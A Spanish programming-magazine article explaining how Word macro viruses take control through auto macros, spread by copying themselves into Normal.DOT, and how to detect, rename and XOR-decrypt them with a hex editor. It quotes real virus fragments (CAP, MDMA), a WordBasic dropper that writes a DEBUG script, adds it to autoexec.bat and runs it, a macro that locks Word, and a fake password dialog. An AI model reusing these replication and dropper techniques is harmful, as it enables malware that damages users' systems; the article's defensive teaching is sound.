Virus de macros Word.

Autor: Juan-Mariano de Goyeneche.
Publicado en el Número 11 de Programación Actual. (En aquella ocasión apareció cortado y modificado por problemas de espacio. Aquí se ofrece la versión original.)


Para terminar el recorrido por los virus de ordenador, se estudian este mes los virus de Word. Vistos todavía como algo exótico entre los programadores españoles, cada día se extienden más y es necesario saber cómo funcionan para no quedarse atrás frente a los fabricantes de antivirus extranjeros.


"¿Pueden los virus propagarse e infectar ficheros de datos ?" La pregunta, hace un par de años nada más, habría levantado miradas de misericordiosa indulgencia en cualquier mínimo experto en virus informáticos, que habría procedido a continuación a explicar con paciencia que un virus necesita en algún momento ganar el control del ordenador y que, por tanto, los ficheros de datos resultan inapropiados para tal fin y sólo los COM, EXE, SYS, OV?, etc. son objetivo y presa de infecciones.

Las cosas han cambiado mucho desde la llegada del Word. En realidad ya en la versión 2.0 del popular editor se tenían macros, pero no fue hasta la 6.0 cuando se popularizaron debido, en gran parte, a que su funcionalidad y posibilidades fueron engordadas ampliamente. (*)


MACROS

Prácticamente, todo programador ha hecho uso alguna vez de las macros. Las funciones que pueden llevar a cabo son de lo más variopintas: prácticamente todo lo que se puede hacer con un ratón dentro del procesador de textos tiene su equivalente en forma de comandos Word. Hay muchos ejemplos de empleo de macros en documentos, pero quizás uno muy usado y que puede que haya pasado desapercibido es el del Word Internet Assistant. Se trata de un añadido al Word que permite construir y visualizar páginas HTML, así como navegar a través de páginas Web en Internet. Pues bien, todas esas funcionalidades se le han añadido al editor mediante numerosas macros, cuyo código fuente es además -en contra de la costumbre habitual de Microsoft- completamente visible. Basta abrir el fichero HTML.DOT y allí seleccionar HerramientasMacros y de entre todas las que aparecen seleccionar una: por ejemplo OpenlnHTMLCode o HTMLSetOutput. Después pulsar el botón "Modificar" (ver Figura 1) y aparecerá la macro. Es importante hacer notar que lo que se muestra es el propio código fuente que se interpreta en el momento de ejecución. Incluso los comentarios están ahí. De hecho, el siguiente fragmento forma parte de un virus (el CAP) y se trata tan sólo de comentarios que en ningún momento se muestran al usuario pero que se pueden ver con HerramientasMacros,Modificar (eso sí, tras desencriptarlo puesto que este virus usa dicha técnica para resultar más dificil de localizar. La encriptación/desencriptación de los virus de macros de Word se tratará unas líneas más abajo):

Sub MAIN 'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub
Figura 1
Figura 1


El lenguaje elegido para codificar estas macros es el desde entonces denominado WordBasic. Microsoft sigue empeñado en popularizar su Basic lo más posible, y aquí lo añadió nuevamente -aunque, esta vez sí, sin números de línea y con un aspecto mucho más estructurado, más parecido a su Visual Basic- mezclado con funciones (extensiones) que sólo tienen sentido en el ámbito del Word. Las macros se encapsulan en procedimientos o en funciones (para retornar algún valor; nada nuevo hasta ahora). Su sintaxis es la siguiente:

Sub nombre_del_procedimiento(argumento1, argumento2, ..., argumento_n)
codigo_de_la_macro
End Sub

Function nombre_de_la_función (argumento1, argumento2, ..., argumento_n)
codigo_de_la_macro
nombre_de_la_función = valor_a_retornar
End Function

En caso de que sólo haya un procedimiento o si hay varios, el principal (el main() de C) se denomina:

Sub Main ...

End Sub

Por cierto, que las mayúsculas no son importantes: es lo mismo Sub Main que SUB MAIN o sub main. Este artículo no pretende ser una guía de programación en WordBasic, así que no se entrará en muchos detalles del lenguaje, por otra parte fácilmente consultables gracias a la ayuda (wrdbasic.hlp) que acompaña a la instalación. Sólo comentar que, como cualquier lenguaje de alto nivel, tiene instrucciones de control de flujo (if-then-else, select case-end select, goto -cómo no-), bucles for-next, while-whend, operaciones sobre ficheros (open, close, kill) y además cuenta con instrucciones más propias de lenguajes visuales (MsgBox) y con otras exclusivas del Word (HerramOpcionesGuardar, ContarMacros). Los comentarios van precedidos por la palabra reservada REM o, abreviadamente, por una coma simple " ´ ".

El hecho de que estos virus estén escritos en un lenguaje de alto nivel como ya era el basic y que se abandone el uso del ensamblador produjo una doble revolución: por una parte, escribir virus es ahora tarea mucho más asequible; no se necesitan los profundos conocimientos sobre funcionamiento de la máquina y el sistema operativo necesarios para hacer virus de arranque o de ficheros. Paradójicamente, a pesar de que cada vez más gente se lanza a crear un virus de este tipo, aún les sigue rodeando un gran aura de misterio, sin duda debida a ese convencimiento antes apuntado, tan extendido durante muchos años, de que los ficheros de datos no podían provocar ni transmitir infecciones. La segunda revolución está en que, al haberse liberado del ensamblador y del sistema operativo subyacente, los virus se han convertido en los primeros ejemplares portables entre plataformas. En principio, un virus escrito para Word funcionará igual en un PC, en un Mac o en una Alpha, con la única condición de que exista una versión de Word compilada para esos entornos. La portabilidad entre plataformas es algo importante, buscado durante años. En realidad el procedimiento es algo similar al empleado en el tan jaleado Java: se tiene una máquina virtual (en este caso el propio Word) sobre la que se ejecutan los programas sin tener que preocuparse del hardware o sistema operativo subyacente, que son responsabilidad de la propia máqina.

Aunque esto de que un mismo virus funcione sin modificación ni recompilación en máquinas tan distintas como un PC o un Mac suena muy bien (incluso, en este caso, puede dar algo de miedo: ¡los Mac ya no están a salvo de la -floreciente- industria de virus para PC!) las cosas son un poco más tristes, especialmente para los que se dedican profesionalmente a desarrollar en WordBasic : esa portabilidad, que, efectivamente, se da entre plataformas como bien demuestra la rutina principal del virus MDMA

Sub MAIN 
 On Error Resume Next 
 install
 If (Día(Ahora()) = 1) Then
   Select Case get_platform 
     Case 1 infect_mac 
     Case 2 infect_windows
     Case 3 infect_NT 
     Case 4 infect_95
   End Select
 show_credits
 End If
End Sub

puede, bajo ciertas circunstancias, no darse dentro de la misma plataforma. Una macro escrita para el Word de PC de toda la vida puede no funcionar en el PC del vecino de al lado... si el idioma de su Word es distinto. ¿Por qué? Bueno, resulta que eso de traducir el Word a todos los idiomas no se paró en los textos de los menús o los mensajes de error... y se tradujo también el WordBasic.

Conclusión: una macro escrita en la versión española de Word no funcionará -con casi toda probabilidad- en otro que forme parte de la distribución inglesa.


NADA HA CAMBIADO

El lector que venga siguiendo esta serie estará ya cansado de escuchar que cualquier virus que se precie de serlo está obligado antes o después a conseguir de alguna forma el control del ordenador, realizar operaciones que le aseguren en lo posible la supervivencia (dentro de lo que se incluye la reproducción) aunque, eso sí, de forma transparente a fin de evitar ser descubierto y, por último, (aunque esto no es estrictamente necesario) realizará alguna acción en que se manifiesta voluntariamente y que, en general, acaba siendo vista de forma harto distinta por el que hizo el virus y por el que lo sufre.

Aquí, a pesar de las diferencias importantes en filosofía, las cosas no son (no podían tampoco serlo) muy diferentes.


TOMA DE CONTROL

La toma de control no es demasiado difícil: existen macros asociadas a eventos. Por ejemplo, al seleccionar HerramientasMacros, se ejecuta la macro "HerramMacro" de forma que es fácil aprovechar este evento para hacer algo que no estaba previsto.

Un ejemplo simple: seleccionar HerramientasMacros, escribir "HerramMacro" en el nombre de la macro y pulsar "Crear" (si esa macro existe ya en el sistema, será mejor guardar una copia de seguridad antes de modificar nada). El Word abre el editor de macros y la rellena ya con el código por defecto. Si ahora se añade:

MsgBox "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists).", "MDMA_DMV", 16

y se pulsa HerramientasMacros, el resultado, en vez del que sale siempre al seleccionar este menú, es una caja de diálogo con el texto anterior que, excepto por el susto que pueda llegar a causar, es totalmente inocuo. Al igual que se ha hecho esta modificación se podían haber hecho cosas más transparentes como una infección del archivo de plantillas. (Nota: en algunas versiones, el Word se equivoca en una de esas líneas que inserta con el código de la macro por defecto y pone "Dim dlg AsHerramMacro" comiéndose el espacio en blanco entre "As" y "HerramMacro" por lo que si se quiere mantener esa instrucción, deberá corregirse a mano)

Hay un grupo de 5 macros que son algo especiales. En primer lugar son privilegiadas porque no sufren el problema antes apuntado de las traducciones. Se tiene la certeza de que existirán independientemente del lenguaje a que se haya traducido el Word. Se trata de: AutoClose, AutoExec, AutoExit, AutoNew y AutoOpen. Además el prefijo "auto" indica -con buen criterio- que se ejecutan automáticamente: "AutoClose" al cerrar un documento, "AutoExec" al iniciar el Word, "AutoExit" al salir del Word, "AutoNew" al crear un nuevo documento y "AutoOpen" al abrir un documento ya existente. En la mayoría de los casos estas macros son objetivo de los virus ya que, por una parte, se sabe que estarán presentes independientemente del idioma, y por otra se trata de acciones que implican todas ellas acceso al disco, por lo que no resultará sospechoso que se encienda la lucecita cuando se aprovechan para infectar otros documentos.


REPRODUCCIÓN

La reproducción consiste en, simplemente, copiar las macros que forman el virus desde el documento infectado al que se quiere infectar. No hacen falta conocimientos sobre estructuras internas de ficheros o de ejecutables: el Word se ocupa de todo. Basta decirle "Macrocopiar Plantilla_origen:Nombre_macro_origen, Plantilla_destino:Nombre_macro_destino".

Es momento ahora de hablar de un archivo de plantillas (macros) especial: el NORMAL.DOT. En las versiones de Word en castellano se encuentra en OFFICE\Plantillas\Normal.DOT. (OFFICE hace referencia al directorio donde se han instalado las Office; .DOT es la extensión que se da a los ficheros de macros, que se pueden renombrar a .DOC y entonces parecerán documentos normales (**).) En éste archivo, sólo de plantillas, se guardan las macros que estarán disponibles para todos los documentos. Es posible guardar ahí las nuevas macros, o bien crear una nueva plantilla para un uso determinado y dejar ahí todas las macros relacionadas con ese uso. Como el objetivo de los virus es reproducirse, éste es el primer archivo al que tratan de copiarse. De esta forma, cualquier documento que se use después quedará infectado. Por ejemplo: cada vez que se abre un nuevo documento se ejecuta -si existe- el AutoOpen del Normal.DOT. Al cerrarlo, el AutoClose, etc.

Es más: la macro AutoExec sólo se ejecuta cuando se encuentra grabada en este fichero. En otras plantillas es ignorada.

Es por todo esto por lo que el fichero Normal.DOT cobra una relevancia especial y, al igual que era importante para combatir los virus de arranque tener un disco de arranque limpio y seguro, aquí lo es el tener una plantilla Normal.DOT fiable, por lo que se aconseja guardar una copia de seguridad tras la instalación del Word.

Dentro de "MacroCopiar" se hace referencia a Normal.DOT con el nombre "Global", de forma que si se quiere copiar una macro desde el documento actual -infectado- a la plantilla de documentos global, el virus "escribirá":

MacroOrigen$ = NombreVentana$() + ":AutoOpen"
MacroCopiar MacroOrigen$, "Global:AutoOpen"


ACCIONES Y ENGAÑOS

Las acciones que puede llegar a realizar un virus de Word en un sistema son de lo más polifacéticas ya que tiene acceso a una variedad de recursos que -es una opinión- no está justificada: puede borrar cualquier fichero del disco duro (con la orden kill), puede suplantar comandos originales de Word por otros falsos, puede cambiar la configuración del registro de Windows, pueden ejecutar programas a voluntad...

Una modalidad de infección que está muy de moda y que convierte a los virus de macros en "multipartites" (ver [Virus-1]) es la de incluir dentro de la plantilla otro virus, ya sea de ejecutable o de arranque. ¿Cómo? Muy facil: al poderse ejecutar programas, lo que lleva el documento es un script... de DEBUG, sí.

Normalmente lo hacen gracias a la orden "E" que, como se recordará ([Virus-1]), permitía cambiar bytes de posiciones de memoria:

Open "c:\dos\script.dbg" For Output As #1
Print #1, "N virus.exe"
Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00"
Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
etc, etc, etc,
Print #1, "E 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1500 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "RCX"
Print #1, "1500"
Print #1, "W"
Print #1, "Q"
Print #1, ""
Close #1
Open "c:\dos\infecta.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < script.dbg > nul"
Print #1, "echo @c:\dos\virus.exe>>c:\autoexec.bat"
Print #1, "del c:\dos\script.dbg"
Print #1, "del c:\dos\infecta.bat"
Close #1
ChDir "C:\DOS"
Shell "INFECTA.BAT", 0
ChDir "C:\"

Se ha hablado también de engaños. Efectivamente, el virus puede crear macros que modifiquen completamente el comportamiento que se espera de los eventos que las llaman. Por ejemplo, no se recomienda en absoluto probar el siguiente ejemplo de macro AutoExec malintencionada:

Sub MAIN MsgBox "Esta versión de Word ha caducado. Debe volver a comprar una licencia de Office 99 para poder seguir trabajando.", " Licencia caducada ", 16
ArchivoCerrarSesión 2
End Sub

El efecto será el presentar una caja de diálogo con el texto visto, que al cerrarse cerrará a su vez inmediatamente también el Word. Es decir: será imposible ejecutar el Word. Y lo peor es que los usuarios que no se crean el mensaje tendrán bastantes problemas para -simplemente- tratar de investigar lo que está pasando, ya que sólo para mirar las macros que contiene un documento es necesario ejecutar el Word... y el Word no se ejecuta.

Si a pesar de todo ha decidido probarlo en su ordenador, aún no está todo perdido (sobre todo porque debería haber hecho un backup del NORMAL.DOT !).

En cualquier caso, basta con pulsar la tecla SHIFT mientras se lanza el Word para que la macro no se ejecute.

Con un repertorio de posibilidades tan grande es donde se nota la importancia de ser capaz de obtener el código del virus (ya sea desensamblándolo como en entregas anteriores o desencriptándolo como se verá aquí) y de entenderlo, puesto que sin esto hay cosas de muy difícil solución. En muchos casos, si no se es capaz de echar una mirada al código del virus, la única solución puede muy bien ser la reinstalación de todo el sistema. Y como además no se sabe muy bien cómo funciona el virus, lo más probable es que se caiga en una nueva infección que conduzca a una inevitable nueva reinstalación. Un círculo vicioso que puede acabar con los nervios de cualquiera. Si el virus ha borrado todo el disco duro pues, bien, es desagradable, pero el problema -y quizás su solución- es evidente. La cosa es distinta cuando pasan cosas "raras" pero más difíciles de diagnosticar. Volvamos a un ejemplo concreto. El MDMA, al detectar que está infectando a un Win95, tras borrar todos los ficheros .hlp del directorio windows, hace lo siguiente:

SetPrivateProfileString("HKEY_CURRENT_USER\ControlPanel\Accessibility\Stickykeys", "On", "1", "")
SetPrivateProfileString("HKEY_LOCAL_MACHINE\Network\Logon", "ProcessLoginScript", "00", "")
SetPrivateProfileString("HKEY_CURRENT_USER\ControlPanel\Accessibility\HighContrst", "On", "1", "")

Es decir: activa unas opciones de accesibilidad que al que no las necesita pueden convertirle el uso del ordenador en una verdadera pesadilla.

No teniendo el código del virus, arreglarlo puede requerir unos enormes conocimientos sobre el registro de Windows, o bien una paciencia no menos enorme. En cambio, a la vista del código fuente, basta ir directamente a las claves HKEY_CURRENT_USER\ControlPanel\Accessibility y HKEY_LOCAL_MACHINE\Network\Logon y cambiarlas.


CÓMO PROTEGERSE

El principal problema a la hora de comprobar si hay o no un virus dentro de un documento y, en su caso, de estudiarlo y eliminarlo es que para todo ello, desde el sólo hecho de mirar si hay alguna macro dentro del documento, hace falta estar dentro del Word. Y a partir de ese momento cualquier cosa que aparezca -o no aparezca- en pantalla es potencialmente falsa y no fiable, pues el virus puede haber actuado ya y estar modificando cuanto se ve.

Como prueba de esto veamos un ejemplo: para proteger documentos de forma que no se pueda modificar, añadir anotaciones, etc, se puede usar HerramientasProteger documento. Entonces aparece una caja de diálogo que pide la contraseña a usar. Como de costumbre, también hay una macro asociada a esta acción: "HerramProtegerDocumento". Pues bien, no es demasiado difícil sustituir esa caja de diálogo por la nuestra propia que, por ejemplo, asigne una contraseña siempre igual y conocida por el que haya colocado el "caballo de troya":

Begin Dialog 
 DiálogoUsuario 322, 130, "Proteger documento"
 OKButton 228, 14, 88, 21
 CancelButton 228, 38, 88, 21 
 PushButton 228, 62, 88, 21, "Secciones"
 GroupBox 12, 6, 204, 80, "Proteger excepto para"
 OptionGroup .valor
 OptionButton 22, 23, 157, 16, "&Revisiones"
 OptionButton 22, 41, 173, 16, "&Anotaciones" 
 OptionButton 22, 59, 173, 16, "Formularios" 
 Text 12, 92, 234, 13, "&Contraseña:"
 TextBox 12, 106, 220, 18, .passwd 
End Dialog 

Dim dlg As DiálogoUsuario
Dialog(dlg)


El lector observador se dará cuenta de que los dos cuadros de diálogo no son exactamente iguales en cuanto los compare (Figuras 2 y 3). Tampoco era el objetivo. Sólo se pretende demostrar que se puede hacer. Basta incluso con que se parezcan lo suficiente, pues es difícil darse cuenta de pequeñas diferencias si no se compara con un original, sobre todo si no se está sobre aviso. La moraleja es que buscar virus de Word desde dentro de Word no es fiable, lo mismo que no lo era el buscar virus de ejecutables o de arranque si el virus ya estaba en memoria. Allí era necesario arrancar con un disquete fiable. Aquí habrá que asegurarse de que el documento es fiable antes de cargarlo.


Figura 2
Figura 2


Figura 3
Figura 3


A todo esto se une una segunda dificultad: aún en el caso de que se consiguiera cargar el documento sin que nos engañe ni lleve a cabo acciones poco deseables, aún es necesario acceder al código del virus para ver lo que hace y neutralizarlo. En algunos esto es muy fácil: al fin y al cabo el virus es una plantilla y, si no nos lo impide creando cajas de diálogo falsas, se puede ver como cualquier otra plantilla con HerramientasMacros, Modificar.

El problema está en que el virus le puede pedir al Word que le copie, pero que lo haga como plantilla "sólo ejecutable". Si es así, no aparecerá el botón de "Modificar" y no se podrá ver tan fácilmente. Para ello, a la hora de copiar la macro con "MacroCopiar" , le añade un tercer parámetro: una coma y un 1. Esto provoca que se grabe en lo que llaman formato "sólo ejecutable".

En realidad es lo mismo que hacían otros virus que se encriptaban para hacer más difícil la detección, pero aquí, de nuevo, el programador se libra de la pesada tarea de la encriptación y se la deja por entero al Word. De nuevo se confirma que se necesitan bastantes menos conocimientos para programar virus de Word.

Ambos problemas serán resueltos de la misma forma: desde fuera del Word, con ayuda de algún editor hexadecimal.

A pesar de que es posible, como se vio con anterioridad, evitar que se ejecuten algunas macros dejando pulsada la tecla SHIFT, e incluso se puede invocar al Word con el parámetro /a para que no ejecute las macros automáticas ni cargue las plantillas globales, es mejor no arriesgarse y tomar medidas (***). Al fin y al cabo, hasta a los más conscientes del funcionamiento de los virus de arranque se les ha olvidado alguna vez dentro de la disquetera un disquete infectado y al arrancar ha pasado lo peor...

La solución definitiva allí era modificar el "setup" para que arrancara primero de disco duro y no de disquete ([Virus-2.I], [Virus-2.II]). Aquí la solución propuesta es editar el documento con un editor hexadecimal, localizar las macros y, si las hubiera, cambiarles el nombre.

Lo primero que hay que saber es cómo localizar las macros: hacia el final del fichero se encuentra siempre, perfectamente legible, el nombre de la persona que tiene licenciado el Word con el que se hizo el documento, un byte y el path completo del fichero que se está viendo.

Justo después hay 2 bytes: FFh, 01h, y un tercero que indica el número de macros que hay en el documento. Si este byte es 0, significa que no hay macros y, por tanto, es seguro abrirlo. Si es mayor que 0, a continuación hay otro byte que vale 0 (probablemente es el byte alto del número de macros del documento, pero es difícil encontrar documentos con más de 255 macros para comprobarlo), y sigue otro byte de valor 55h. Es muy fácil de localizar a simple vista porque representa el código ASCII de la letra "U", así que basta con buscar alguna u mayúscula tras el nombre del fichero para ver si hay o no macros en el documento. (Se puede comprobar todo esto en la Figura 4). Cada nueva macro tendrá una nueva "U" que indicará que los datos que siguen son de ella, así que habrá tantos campos de 24 bytes empezando por "U" como macros tenga el documento. El byte que sigue a la "U" es el que se ha usado para codificar la macro (en este caso es un 8Eh). Si es un 0, significa que la macro no está codificada y se puede inspeccionar por el procedimiento habitual de "HerramientasMacros, Modificar". Si, como es cada vez más normal, está codificada, la macro se ha encriptado haciendo XOR con ese byte. Basta localizar el comienzo de la macro y desencriptarla haciendo nuevamente xor con el valor de dicho byte y poniendo un 0 en el que sigue a la "U". Tras el grupo de Us, vienen la descripción de cada macro, el nombre de la macro tal y como aparece en HerramientasMacros (sea en mayúsculas, minúsculas o en combinación de ámbas; aquí es "AutoClose") y finalmente, de nuevo, el nombre de la macro pero esta vez sólo en mayúsculas (entre los tres campos hay algunos bytes que no interesan para estos propósitos).


Figura 4
Figura 4


Pues bien, la forma más segura de no correr peligro de que la macro se ejecute al inspeccionar el documento es, lógicamente, cambiarle el nombre.

No basta con cambiar mayúsculas y minúsculas la primera vez que aparece el nombre, porque el Word no es "case sensitive" en este caso e igualmente ejecutará una "AutoClose" que una "aUtOcLoSE". Pero se puede cambiar alguna letra: "AltoClose". No hay que olvidarse de cambiar también el nombre que está en mayúsculas: "ALTOCLOSE". Ahora, al cerrar un documento, o al abrir alguna ventana, no saltarán las macros del virus.

Queda el espininoso problema de la desencriptación. Lo más complicado es localizar el comienzo real de la macro. Toda macro no encriptada empieza por los bytes 01, 00. Una vez encriptada, claro, esto ya no es así, así que lo que hay que buscar son otros dos bytes: el byte con el que se aplicó el xor a la macro (el que está a continuación de la "U"), precedido de aquél otro byte que da 01 al hacer xor con el primero. Para que quede más claro: si se ha encriptado con un valor X y X es par, la secuencia que se busca es X+1,X. En cambio, si X es impar, la macro empieza por X-1,X. A partir de ahí hay que hacerle a todos los bytes un xor con X hasta llegar al siguiente grupo de 2 bytes que identifica a la siguiente macro, o bien, si sólo hay una macro o si se está ya en la última macro, hasta llegar a un 00. (En algunos documentos los bytes noveno y décimo a partir de la "U" (incluida ésta en la cuenta) indican -en el formato de memoria usado por Intel: Little Endian- el tamaño de la macro. Pero en otras versiones estos bytes tienen significados distintos).

Ahora la macro está desencriptada, pero sigue apareciendo marcada como encriptada porque aún el byte que sigue a la "U" es X. Basta sustituirlo por un 0, el botón "Modificar" aparecerá de nuevo y ya se podrá estudiar el virus desde Word.


VBA

No se puede terminar este artículo sin hablar, siquiera concisamente, de VBA. El significado de las siglas es Visual Basic for Applications. Se trata de un intento de unificación de Microsoft para que todas sus aplicaciones utilicen un lenguaje común y homogéneo basado en Visual Basic. Así PowerPoint y Excel no usan WordBasic sino VBA.


REFERENCIAS

  • [Virus-1] Introducción a los virus informáticos. Programación Actual. Número 6.

  • [Virus-2.I] "Virus de arranque (I)". Programación Actual. Número 8.

  • [Virus-2.II] "Virus de arranque (II)". Programación Actual. Número 9.


    NOTAS

    (*) Para los curiosos de estas cosas que no lo sepan aún, no hubo versiones 3, 4 y 5 de Word, cada una de ellas con mejoras en las macros, hasta llegar a la 6.0. Se pasó directamente de la 2.0 a la 6.0 por razones exclusivamente de "marketing": WordPerfect acababa de sacar la versión 6 de su -por entonces- mucho más popular editor y se pensaba que un Word 3.0 daría una sensación de inferioridad frente a un WordPerfect 6.0. Cosas de las batallas entre empresas...

    (**) Aquí los usuarios de Word para Macintosh tienen una ventaja sobre los usuarios de Windows, porque a pesar de que la plantilla se haya renombrado a .DOC su icono sigue mostrando a las claras que no se trata de un documento sino de una macro. En Windows, en cambio, esto no es así.

    (***) En las últimas versiones de Word se ha añadido una opción de seguridad que permite al usuario solicitar que antes de que el Word ejecute cualquier macro le pida consentimiento.